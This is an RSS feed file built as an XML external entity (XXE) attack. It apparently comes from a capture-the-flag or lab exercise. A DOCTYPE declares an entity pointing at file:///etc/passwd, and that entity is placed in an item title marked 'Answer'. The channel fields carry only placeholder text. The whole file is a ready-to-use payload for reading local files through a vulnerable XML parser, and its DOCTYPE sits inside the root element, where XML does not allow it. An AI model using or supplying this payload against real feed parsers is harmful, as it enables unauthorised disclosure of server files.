<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">

<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<channel>
	<title>USELESS</title>
	<link>https://useless</link>
	<description>USELESS</description>
	<item>
		<title>Answer : <foo>&xxe;</foo></title>
		<link>https://useless</link>
		<description>USELESS</description>
	</item>
</channel>

</rss>